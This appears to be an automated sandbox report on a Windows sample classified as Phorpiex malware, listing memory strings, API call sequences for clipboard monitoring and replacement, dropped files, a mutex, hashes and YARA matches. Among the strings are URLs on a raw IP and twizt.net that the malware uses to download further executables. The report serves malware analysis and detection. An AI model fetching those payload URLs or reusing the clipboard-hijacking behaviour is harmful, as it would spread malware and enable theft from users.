Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/PLTRESA~
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://91.202.233.141/lkdrv.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://91.202.233.141/lknet.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://91.202.233.141/lknet.exeCHNOSGDKAUNZGBQABMDEFRITESPLGRnginx.exehttpd.exehttp://twizt.net/chnl
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://91.202.233.141/lksrv.exe
Source: sysmablsvr.exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sysmablsvr.exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk1.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk10.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk11.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk12.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk13.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk14.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk15.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk16.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk17.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk18.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk19.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk2.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk20.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk3.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk4.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk5.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk6.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk7.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk8.exe
Source: sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	String found in binary or memory: http://twizt.net/chnlk9.exe
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.wi

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_004048A0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_004048A0
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	1_2_004048A0
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_004048A0 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_004048A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405910 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

0_2_00405910

Source: C:\Users\user\Desktop\file.exe

0_2_00405910

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 2.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1804968685.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1784055994.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1909749196.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1805000272.0000000000547000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysmablsvr.exe, type: DROPPED

Source: C:\Windows\sysmablsvr.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F669 NtQueryVirtualMemory,	0_2_0040F669
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DA30 NtQuerySystemTime,RtlTimeToSecondsSince1980,	0_2_0040DA30
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040F669 NtQueryVirtualMemory,	1_2_0040F669
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040DA30 NtQuerySystemTime,RtlTimeToSecondsSince1980,	1_2_0040DA30
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040F669 NtQueryVirtualMemory,	2_2_0040F669
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040DA30 NtQuerySystemTime,RtlTimeToSecondsSince1980,	2_2_0040DA30

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\sysmablsvr.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F42C	0_2_0040F42C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004080D9	0_2_004080D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404090	0_2_00404090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040AA90	0_2_0040AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004048A0	0_2_004048A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004080B0	0_2_004080B0
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040F42C	1_2_0040F42C
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_004080D9	1_2_004080D9
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00404090	1_2_00404090
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040AA90	1_2_0040AA90
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_004048A0	1_2_004048A0
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_004080B0	1_2_004080B0
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040F42C	2_2_0040F42C
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_004080D9	2_2_004080D9
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00404090	2_2_00404090
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040AA90	2_2_0040AA90
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_004048A0	2_2_004048A0
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_004080B0	2_2_004080B0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\524024912.exe E97496328C0D205A7ECB4ADE75C1555FC7787EC54334468739C5C5CFD6566B3C
Source: Joe Sandbox View	Dropped File: C:\Windows\sysmablsvr.exe A992920E64A64763F3DD8C2A431A0F5E56E5B3782A1496DE92BC80EE71CCA5BA

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@12/17@0/87

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406B50 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

0_2_00406B50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040E040 SysAllocString,CoCreateInstance,SysFreeString,

0_2_0040E040

Source: C:\Windows\sysmablsvr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1]

Jump to behavior

Source: C:\Windows\sysmablsvr.exe

Mutant created: \Sessions\1\BaseNamedObjects\55a4er5wo

Source: C:\Windows\sysmablsvr.exe

File created: C:\Users\user\AppData\Local\Temp\21548511.exe

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 84%

